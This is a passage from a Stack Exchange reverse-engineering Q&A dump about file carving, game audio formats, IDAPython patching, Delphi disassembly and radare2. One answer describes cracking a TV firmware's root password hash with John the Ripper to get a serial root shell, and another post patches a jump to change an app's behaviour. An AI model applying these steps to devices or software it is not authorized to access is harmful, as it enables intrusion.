  <row Id="11194" PostTypeId="2" ParentId="11191" CreationDate="2015-10-28T09:33:48.947" Score="1" Body="&lt;p&gt;You can read about system calls called &lt;code&gt;fork&lt;/code&gt; and &lt;code&gt;execve&lt;/code&gt; including kernel implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User land implementations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.yolinux.com/TUTORIALS/ForkExecProcesses.html&quot; rel=&quot;nofollow&quot;&gt;fork and other usage examples&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://man7.org/linux/man-pages/man2/execve.2.html&quot; rel=&quot;nofollow&quot;&gt;man page of execve including example&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/torvalds/linux/blob/097f70b3c4d84ffccca15195bdfde3a37c0a7c0f/fs/exec.c&quot; rel=&quot;nofollow&quot;&gt;Kernel implementation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-10-28T09:33:48.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11195" PostTypeId="2" ParentId="11193" CreationDate="2015-10-28T10:10:58.560" Score="2" Body="&lt;p&gt;If you consider the actual PKZipformat&#xA;Each PKZIP trealer is composed by 0x506B0506 AND followed by 18  bytes handling other information like number of disk, total number of central directories, their sizes ...) so to correctly carve the zip file you should copy the block from offset 0xCB8E:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JYDGD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JYDGD.png&quot; alt=&quot;Start of ZIP file&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To offset 0xFA16&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wbBo1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wbBo1.png&quot; alt=&quot;End of PKZip file&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is a working ZIP file.&lt;/p&gt;&#xA;" OwnerUserId="13977" LastActivityDate="2015-10-28T10:10:58.560" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11196" PostTypeId="2" ParentId="11158" CreationDate="2015-10-28T10:24:14.517" Score="1" Body="&lt;p&gt;As said by Guntram Blohm this can be anything ! try to post a scan of the DLL in order to see if its packed or crypted. what RDG reported to you ? in addition you can also guess that oldbg cannot &quot;execute&quot; a dll. One approach is to load the main EXE that calls the concerned DLL, once done try to disassemble your &quot;game.dll&quot; from Executable module window (ALT+E).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example I loaded main exe file (hidden with black) and can double click on loaded dll (hidden in red) in order to load it into olly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sWkDL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sWkDL.png&quot; alt=&quot;Executable module view - ALT+E&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13977" LastActivityDate="2015-10-28T10:24:14.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11197" PostTypeId="1" CreationDate="2015-10-28T11:14:58.733" Score="6" ViewCount="1006" Body="&lt;p&gt;I've been working on reversing file formats from the game of star wars episode 1: the phantom menace. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have managed to extract the audio files from the .lab file in which they were contained. I cannot however play the audio files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files are provided at the end of the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to find some of the decompressed files in the game's cache (which do play) and so I have a selection of audio files in both compressed and uncompressed form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The compression ratio is about 66%; i.e. the compressed file is 1/3 of the size of the uncompressed size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example of the uncompressed and compressed form of the data. (From BDm8906.wav and BDM8906.wv) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first 32 bytes of the uncompressed file (Magic is riff) BDm8906.wav&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;52 49 46 46 DA 77 00 00 57 41 56 45 66 6D 74 20&#xA;10 00 00 00 01 00 01 00 22 56 00 00 44 AC 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first 32 bytes of the compressed file (Magic is INDYWV) BDM8906.wv&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;49 4E 44 59 57 56 22 56 00 00 10 00 00 00 01 00 &#xA;00 00 F1 2B 00 00 00 00 00 00 B6 77 00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From looking a few of the compressed files I have found that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first 16 bytes are always the same.&#xA;The next 4 bytes are the size of the compressed file.&#xA;The next 6 bytes are always zero. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a more detailed look at the hexdump of the compressed file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FDpGy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/FDpGy.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(SE will not let me upload it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From byte 25 (start counting at 0) to the end of the file is always different. The number of bytes from here to the end of the file is the size of the compressed file indicated earlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attempts to decompress:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Thorough googleing. One other guy on the lucas forums and on the xentax forums attempts to decompress it without success. It is not wavepack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Trying common compression algorithms on the uncompressed files. Compress, lzma, gzip do not even come close to the compression ratio reported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Binwalk on the binary:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Microsoft executable, portable (PE)&#xA;715764        0xAEBF4         YAFFS filesystem&#xA;721564        0xB029C         YAFFS filesystem&#xA;746196        0xB62D4         LZMA compressed data, properties: 0x64, dictionary size: 33554432 bytes, uncompressed size: 16777216 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run binwalk on windows I get that it includes DMC (&lt;a href=&quot;https://en.wikipedia.org/wiki/Dynamic_Markov_compression&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Dynamic_Markov_compression&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Dissembling the Binary and trying to find the location of the decompression code - this is quite difficult&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sample (two files, one encrypted one unencrypted) can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/sh/jvljza0v76mvl56/AAC41MenYP57dVHgAXY-DkSsa?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/sh/jvljza0v76mvl56/AAC41MenYP57dVHgAXY-DkSsa?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I figure out what it is using?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit&#xA;According to reaper, decompressed file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;22.05 sample rate&#xA;16 bits per sample&#xA;15323 samples&#xA;694 ms&lt;/p&gt;&#xA;&#xA;&lt;p&gt;whatever the game does has decoded it into 15323 16 bit integers&lt;/p&gt;&#xA;" OwnerUserId="13791" LastEditorUserId="13791" LastEditDate="2015-11-03T16:54:22.000" LastActivityDate="2015-11-03T16:54:22.000" Title="Audio file compression identification" Tags="|unpacking|file-format|" AnswerCount="0" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11198" PostTypeId="2" ParentId="11191" CreationDate="2015-10-28T15:14:07.620" Score="1" Body="&lt;p&gt;For windows, the Loader will copy the parameters into the process' address space during process setup. Specifically it happens when the Address Space is initialized&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See Stage 3D Step 8 in &lt;a href=&quot;https://books.google.com/books?id=w65CAwAAQBAJ&amp;amp;pg=PT584&amp;amp;lpg=PT584&amp;amp;dq=windows%20internals%20%22The%20user%20process%20parameters%20are%20written%20into%20the%20process%22&amp;amp;source=bl&amp;amp;ots=4Wn5n4Sg0u&amp;amp;sig=F8TVaIpJaDa2buSPQUKsX0PzRyw&amp;amp;hl=en&amp;amp;sa=X&amp;amp;ved=0CB0Q6AEwAGoVChMIrouQ4bnlyAIViCqICh3D3ACU#v=onepage&amp;amp;q=windows%20internals%20%22The%20user%20process%20parameters%20are%20written%20into%20the%20process%22&amp;amp;f=false&quot; rel=&quot;nofollow&quot;&gt;Windows Internals&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;8&quot;&gt;&#xA;  &lt;li&gt;The user process parameters are written into the process, copied, and fixed up (meaning converted from absolute form to a relative form&#xA;  so that a single memory block is needed).&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2015-10-28T15:14:07.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11199" PostTypeId="2" ParentId="11190" CreationDate="2015-10-28T15:31:19.563" Score="0" Body="&lt;p&gt;Considering that this is the RE forum, this is how I would find the function.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Place a conditional break point on the input handling code. Depending on the game it might come from something like getchar() or be handled in a Windows message loop (assuming x86 Windows here since you mentioned OllyDbg).&lt;/li&gt;&#xA;&lt;li&gt;The condition for the breakpoint would be when the input data equals 'j'. You might get lucky and find a cmp/jmp (or similar) sequence for 'j' or 'J' in the disassembly, then you could just set a normal break point there.&lt;/li&gt;&#xA;&lt;li&gt;Run the game, and execute the combination on the keyboard.&lt;/li&gt;&#xA;&lt;li&gt;When the break point hits, you can then single step and keep track of the &lt;code&gt;call&lt;/code&gt; statements that are hit, one of them is likely to be the function you care about.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2015-10-28T15:31:19.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11201" PostTypeId="1" CreationDate="2015-10-28T21:08:33.610" Score="5" ViewCount="5169" Body="&lt;p&gt;I am looking for methods to get root on my Linux smart tv. Anyone have any ideas, in order to try extract the kernel config. Hisense is no help when asking for GPL source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran metasploit against it and had no luck, it did find some open ports for upnp and something called twonkymedia but I was not able to get anywhere with that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Hisense LTDN50K220GWUS (Hisense 50H5GB) Smart TV that is running what appears to be a customized version of &quot;Opera TV OS&quot;&#xA;Running on &quot;Linux-3.0.13&quot; and is using uboot, I tried connecting a usb keyboard to the ports and pounding escape and other buttons&#xA;but that didn't get me anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Binwalk I was able to extract so info from a rom firmware image:&#xA;&lt;a href=&quot;http://dl-1.va.us.xda-developers.com/3/3/9/0/9/9/1/binwalk.txt?key=tYzIcmGKTrH3OtBCCkWz6w&amp;amp;ts=1446066314&quot; rel=&quot;noreferrer&quot;&gt;binwalk output&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13984" LastActivityDate="2016-05-22T18:44:35.043" Title="Reversing Hisense TV Firmware" Tags="|decompilation|linux|arm|unpacking|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11202" PostTypeId="2" ParentId="11180" CreationDate="2015-10-29T06:53:47.703" Score="1" Body="&lt;p&gt;You can always try and do away with IDAPython:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;import idc&#xA;&#xA;PATH_TO_COPY_OF_ORIGINAL_FILE = 'some-path'&#xA;&#xA;def apply_patches_to_file(target_file):&#xA;    def patch_visitor(ea, fpos, org_val, patch_val):&#xA;        target_file.seek(fpos)&#xA;        target_file.write(chr(patch_val))&#xA;&#xA;    idaapi.visit_patched_bytes(idc.MinEA(), idc.MaxEA(), patch_visitor)&#xA;&#xA;with open(PATH_TO_COPY_OF_ORIGINAL_FILE, 'r+') as f:&#xA;    apply_patches_to_file(f)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just create a copy of your original file, set the &lt;code&gt;PATH_TO_COPY_OF_ORIGINAL_FILE&lt;/code&gt;, and give the script a go. It iterates all patches made to the IDB and try to apply them to the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, not knowing the cause of your issues - this script may fail as well.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2015-10-29T06:53:47.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11203" PostTypeId="2" ParentId="11201" CreationDate="2015-10-29T09:59:06.660" Score="3" Body="&lt;p&gt;Use binwalk to extract &lt;em&gt;rootfs&lt;/em&gt;, then search for file &lt;code&gt;passwd&lt;/code&gt; in &lt;em&gt;/etc/&lt;/em&gt;&#xA;You will discover every users available. Look for root user, this should look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root:x3FrTg6uYT7.:0:0:root:/:/bin/sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Recover the &lt;code&gt;x3FrTg6uYT7&lt;/code&gt;string and give it to John the ripper software. This one will try to brute force the password. Once done you will need to find a debug port on your TV.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I advise you to take a look at this &lt;a href=&quot;http://www.devttys0.com/2012/11/reverse-engineering-serial-ports/&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;.&#xA;Finally connect your &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B008AGDTA4&quot; rel=&quot;nofollow&quot;&gt;RS232 com cable&lt;/a&gt;, power on your tv and wait for a shell asking for root password :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Useful links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cities.lk.net/lost_password.htm&quot; rel=&quot;nofollow&quot;&gt;http://cities.lk.net/lost_password.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/&quot; rel=&quot;nofollow&quot;&gt;http://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cyberciti.biz/faq/understanding-etcshadow-file/&quot; rel=&quot;nofollow&quot;&gt;http://www.cyberciti.biz/faq/understanding-etcshadow-file/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9981" LastActivityDate="2015-10-29T09:59:06.660" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11204" PostTypeId="1" AcceptedAnswerId="11206" CreationDate="2015-10-29T10:05:26.507" Score="1" ViewCount="617" Body="&lt;p&gt;I have struggled a lot to reverse an app that is delphi executable.&#xA;So I trusted PEiD to tell me the truth about the app but unfortunately I found these&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Nothing found[overlay]*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I switched the Kanal plugin and it detected crypto signatures&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  ADLER32&#xA;  BASE64&#xA;  BZIP2&#xA;  CCITT-CRC16[word]&#xA;  CRC(rev)&#xA;  CRC32&#xA;  CRC32b&#xA;  CSS [table0]&#xA;  FORK-256 [mixing]&#xA;  MD5&#xA;  SHA1[compress]&#xA;  SHA-224[init]&#xA;  SHA-256[mixing]&#xA;  ZLIB deflate[word]&#xA;  {big number}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in my case I never had of these except for Base64 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I need is the app to show its platform in PEiD  and how can I deal with this type of compression?&#xA;------------------------------------------------------------------------------------this is what iam trying to achieve&#xA;this is the onclick event of my two buttons.&#xA;i want ESI to be 00000011 before the call @005A6DBD so i tried to change the JNZ @005A6F44 but but ESI becomes 00000018 which is an event of another button.&#xA;so as it is now the button(my Target) when i click ESI becomes 00000000 which simply execute the defaut of the Case switch Table that is inside the call @005A6DBD &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;005A6EC4    .  55                PUSH EBP                                  ;  programform buttonclick event&#xA;005A6EC5    .  8BEC              MOV EBP,ESP&#xA;005A6EC7    .  83C4 F0           ADD ESP,-10&#xA;005A6ECA    .  53                PUSH EBX&#xA;005A6ECB    .  56                PUSH ESI                                           ;  AcroByte.&amp;lt;ModuleEntryPoint&amp;gt;&#xA;005A6ECC    .  57                PUSH EDI                                           ;  AcroByte.&amp;lt;ModuleEntryPoint&amp;gt;&#xA;005A6ECD    .  33C9              XOR ECX,ECX&#xA;005A6ECF    .  894D FC           MOV DWORD PTR SS:[EBP-4],ECX&#xA;005A6ED2    .  8BDA              MOV EBX,EDX                                        ;  ntdll.KiFastSystemCallRet&#xA;005A6ED4    .  33C0              XOR EAX,EAX&#xA;005A6ED6    .  55                PUSH EBP&#xA;005A6ED7    .  68 9C6F5A00       PUSH AcroByte.005A6F9C&#xA;005A6EDC    .  64:FF30           PUSH DWORD PTR FS:[EAX]&#xA;005A6EDF    .  64:8920           MOV DWORD PTR FS:[EAX],ESP&#xA;005A6EE2    .  33C0              XOR EAX,EAX&#xA;005A6EE4    .  55                PUSH EBP&#xA;005A6EE5    .  68 7C6F5A00       PUSH AcroByte.005A6F7C&#xA;005A6EEA    .  64:FF30           PUSH DWORD PTR FS:[EAX]&#xA;005A6EED    .  64:8920           MOV DWORD PTR FS:[EAX],ESP&#xA;005A6EF0    .  C745 F4 0C000000  MOV DWORD PTR SS:[EBP-C],0C&#xA;005A6EF7    .  8BC3              MOV EAX,EBX&#xA;005A6EF9    .  8B15 30D24600     MOV EDX,DWORD PTR DS:[46D230]                      ;  AcroByte.0046D288&#xA;005A6EFF    .  E8 A8F1E5FF       CALL AcroByte.004060AC&#xA;005A6F04    .  8B50 08           MOV EDX,DWORD PTR DS:[EAX+8]&#xA;005A6F07    .  8D45 FC           LEA EAX,DWORD PTR SS:[EBP-4]&#xA;005A6F0A    .  E8 D50DE6FF       CALL AcroByte.00407CE4&#xA;005A6F0F    .  6945 F4 7C1B0900  IMUL EAX,DWORD PTR SS:[EBP-C],91B7C&#xA;005A6F16    .  8B04C5 08D25F00   MOV EAX,DWORD PTR DS:[EAX*8+5FD208]&#xA;005A6F1D    .  85C0              TEST EAX,EAX&#xA;005A6F1F    .  7C 51             JL SHORT AcroByte.005A6F72&#xA;005A6F21    .  40                INC EAX&#xA;005A6F22    .  8945 F0           MOV DWORD PTR SS:[EBP-10],EAX&#xA;005A6F25    .  C745 F8 00000000  MOV DWORD PTR SS:[EBP-8],0&#xA;005A6F2C    .  BB 08D25F00       MOV EBX,AcroByte.005FD208&#xA;005A6F31    &amp;gt;  6975 F4 7C1B0900  IMUL ESI,DWORD PTR SS:[EBP-C],91B7C&#xA;005A6F38    .  8B44F3 04         MOV EAX,DWORD PTR DS:[EBX+ESI*8+4]&#xA;005A6F3C    .  8B55 FC           MOV EDX,DWORD PTR SS:[EBP-4]&#xA;005A6F3F    .  E8 6C17E6FF       CALL AcroByte.004086B0       ;call @UStrEqual( cmp eax,edx inside the call)&#xA;005A6F44    .  75 1E             JNZ SHORT AcroByte.005A6F64   ;  this jump&#xA;005A6F46    .  8B44F3 08         MOV EAX,DWORD PTR DS:[EBX+ESI*8+8]&#xA;005A6F4A    .  85C0              TEST EAX,EAX&#xA;005A6F4C    .  7C 16             JL SHORT AcroByte.005A6F64&#xA;005A6F4E    .  40                INC EAX&#xA;005A6F4F    .  89C6              MOV ESI,EAX&#xA;005A6F51    .  33FF              XOR EDI,EDI                                        ;  AcroByte.&amp;lt;ModuleEntryPoint&amp;gt;&#xA;005A6F53    &amp;gt;  8BCF              MOV ECX,EDI                                        ;  AcroByte.&amp;lt;ModuleEntryPoint&amp;gt;&#xA;005A6F55    .  8B55 F8           MOV EDX,DWORD PTR SS:[EBP-8]                       ;  sets the value to EDX(important)&#xA;005A6F58    .  8B45 F4           MOV EAX,DWORD PTR SS:[EBP-C]&#xA;005A6F5B    .  E8 E8EFFFFF       CALL AcroByte.005A5F48&#xA;005A6F60    .  47                INC EDI                                            ;  AcroByte.&amp;lt;ModuleEntryPoint&amp;gt;&#xA;005A6F61    .  4E                DEC ESI                                            ;  AcroByte.&amp;lt;ModuleEntryPoint&amp;gt;&#xA;005A6F62    .^ 75 EF             JNZ SHORT AcroByte.005A6F53&#xA;005A6F64    &amp;gt;  FF45 F8           INC DWORD PTR SS:[EBP-8]                           ;  AcroByte.015C2BD4&#xA;005A6F67    .  81C3 ACB80000     ADD EBX,0B8AC&#xA;005A6F6D    .  FF4D F0           DEC DWORD PTR SS:[EBP-10]&#xA;005A6F70    .^ 75 BF             JNZ SHORT AcroByte.005A6F31&#xA;005A6F72    &amp;gt;  33C0              XOR EAX,EAX&#xA;005A6F74    .  5A                POP EDX                                            ;  user32.7500925A&#xA;005A6F75    .  59                POP ECX                                            ;  user32.7500925A&#xA;005A6F76    .  59                POP ECX                                            ;  user32.7500925A&#xA;005A6F77    .  64:8910           MOV DWORD PTR FS:[EAX],EDX                         ;  ntdll.KiFastSystemCallRet&#xA;005A6F7A    .  EB 0A             JMP SHORT AcroByte.005A6F86&#xA;005A6F7C    .^ E9 CBFCE5FF       JMP AcroByte.00406C4C&#xA;005A6F81    .  E8 1E01E6FF       CALL AcroByte.004070A4&#xA;005A6F86    &amp;gt;  33C0              XOR EAX,EAX&#xA;005A6F88    .  5A                POP EDX                                            ;  user32.7500925A&#xA;005A6F89    .  59                POP ECX                                            ;  user32.7500925A&#xA;005A6F8A    .  59                POP ECX                                            ;  user32.7500925A&#xA;005A6F8B    .  64:8910           MOV DWORD PTR FS:[EAX],EDX                         ;  ntdll.KiFastSystemCallRet&#xA;005A6F8E    .  68 A36F5A00       PUSH AcroByte.005A6FA3&#xA;005A6F93    &amp;gt;  8D45 FC           LEA EAX,DWORD PTR SS:[EBP-4]&#xA;005A6F96    .  E8 4109E6FF       CALL AcroByte.004078DC&#xA;005A6F9B    .  C3                RETN&#xA;===========================================================================================================================================================================the folowing is just piece only to show whats happening before the call cause the Whole repeat the same thing&#xA;&#xA;&#xA;005A6D6D    .  53                PUSH EBX                                           ;  AcroByte.03CA2088&#xA;005A6D6E    .  69DA 2B2E0000     IMUL EBX,EDX,2E2B&#xA;005A6D74    .  69F8 7C1B0900     IMUL EDI,EAX,91B7C&#xA;005A6D7A    .  8D3CFD 08D25F00   LEA EDI,DWORD PTR DS:[EDI*8+5FD208]&#xA;005A6D81    .  FF749F 04         PUSH DWORD PTR DS:[EDI+EBX*4+4]&#xA;005A6D85    .  69DA 2B2E0000     IMUL EBX,EDX,2E2B&#xA;005A6D8B    .  69F8 7C1B0900     IMUL EDI,EAX,91B7C&#xA;005A6D91    .  8D3CFD 08D25F00   LEA EDI,DWORD PTR DS:[EDI*8+5FD208]&#xA;005A6D98    .  8D1C9F            LEA EBX,DWORD PTR DS:[EDI+EBX*4]&#xA;005A6D9B    .  53                PUSH EBX                                           ;  AcroByte.03CA2088&#xA;005A6D9C    .  5B                POP EBX                                            ;  AcroByte.03CA2088&#xA;005A6D9D    .  FF74B3 0C         PUSH DWORD PTR DS:[EBX+ESI*4+C]&#xA;005A6DA1    .  69D2 2B2E0000     IMUL EDX,EDX,2E2B&#xA;005A6DA7    .  69C0 7C1B0900     IMUL EAX,EAX,91B7C&#xA;005A6DAD    .  8D04C5 08D25F00   LEA EAX,DWORD PTR DS:[EAX*8+5FD208]&#xA;005A6DB4    .  8D0490            LEA EAX,DWORD PTR DS:[EAX+EDX*4]&#xA;005A6DB7    .  8B4CB0 10         MOV ECX,DWORD PTR DS:[EAX+ESI*4+10]&#xA;005A6DBB    .  5A                POP EDX&#xA;005A6DBC    .  58                POP EAX&#xA;005A6DBD    .  E8 E6D1FFFF       CALL AcroByte.005A3FA8                             ;  call the function that does the job&#xA;005A6DC2    .  33C0              XOR EAX,EAX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For a better understanding the Call @005A6F3F goes to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Cmp,eax.edx;  Eax=1E37BEE4 Unicode _27,   Edx=1E37B68C Unicode _27&#xA; JE 004086E4;Jumps to retn&#xA; Test eax,edx &#xA; JE 004086DA; jumps to another bitwise AND&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's where I am curious!!!&lt;/p&gt;&#xA;" OwnerUserId="13366" LastEditorUserId="13366" LastEditDate="2015-10-30T08:50:32.320" LastActivityDate="2015-10-30T08:50:32.320" Title="How to decompress SHA1[compressed] executable" Tags="|unpacking|decompress|delphi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11205" PostTypeId="1" CreationDate="2015-10-29T10:08:32.287" Score="2" ViewCount="254" Body="&lt;p&gt;I have file named 'out'. If I issue the file command I see :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:~/Desktop# file out&#xA;out: data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I further identify what type of file this is? Interestingly, if I execute the file, I see a 'syntax error near unexpected token' error, suggesting it might be an executable, rather than data. Above command issued on linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file in question was outputted by &lt;code&gt;outguess&lt;/code&gt; and is part of a steganography puzzle&lt;/p&gt;&#xA;" OwnerUserId="13875" LastEditorUserId="13875" LastEditDate="2015-10-29T10:36:26.437" LastActivityDate="2015-10-29T10:36:26.437" Title="How can I further identify a file which the file command lists as 'data'" Tags="|binary-analysis|file-format|digital-forensics|" AnswerCount="0" CommentCount="9" ClosedDate="2017-04-10T07:52:32.377" ContentLicense="CC BY-SA 3.0" />
  <row Id="11206" PostTypeId="2" ParentId="11204" CreationDate="2015-10-29T10:36:41.390" Score="1" Body="&lt;p&gt;Kanal plugins can provide you with some kind of signature wherever they found it and this means that those crypto signatures are not necessarily useful for your reversing goal.  What are you trying to do exactly?&#xA;For Delphi try to use &quot;DeDe&quot; a nice and quite useful Delphi decompiler by DaFixer.&lt;/p&gt;&#xA;" OwnerUserId="13977" LastEditorUserId="8103" LastEditDate="2015-10-30T06:07:14.703" LastActivityDate="2015-10-30T06:07:14.703" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="11207" PostTypeId="1" AcceptedAnswerId="11208" CreationDate="2015-10-29T14:50:28.603" Score="7" ViewCount="25197" Body="&lt;p&gt;I am new to radare2 and Linux. I got problem with &lt;code&gt;r2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the title states it, many tutorials, articles, videos about &lt;code&gt;r2&lt;/code&gt; are just about disassembling programs, and read assembly codes. But, I want debug my programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I search on the web and on GitHub... But did not find anything meaningful (or maybe I did miss it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know if somebody could tell me how to run the debugger in &lt;code&gt;r2&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13993" LastEditorUserId="53" LastEditDate="2019-03-12T16:12:30.507" LastActivityDate="2019-03-12T16:12:30.507" Title="How to debug (like gdb) with radare2?" Tags="|radare2|debuggers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="11208" PostTypeId="2" ParentId="11207" CreationDate="2015-10-29T14:59:25.877" Score="10" Body="&lt;p&gt;Go to archives of &lt;a href=&quot;http://hack.lu&quot; rel=&quot;nofollow noreferrer&quot;&gt;hack.lu&lt;/a&gt; conference &lt;a href=&quot;http://archive.hack.lu/2015/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find there Radare2 &lt;a href=&quot;http://archive.hack.lu/2015/radare2-workshop-slides.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;workshop&lt;/a&gt; &lt;a href=&quot;http://archive.hack.lu/2015/radare2-workshop/&quot; rel=&quot;nofollow noreferrer&quot;&gt;materials&lt;/a&gt;.&#xA;There are some mentions of debugging there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition you have a radare 2 book, see &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/first_steps/basic_debugger_session.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;basic debugging session&lt;/a&gt; chapter.&#xA;I'd suggest to read all the book and workshop 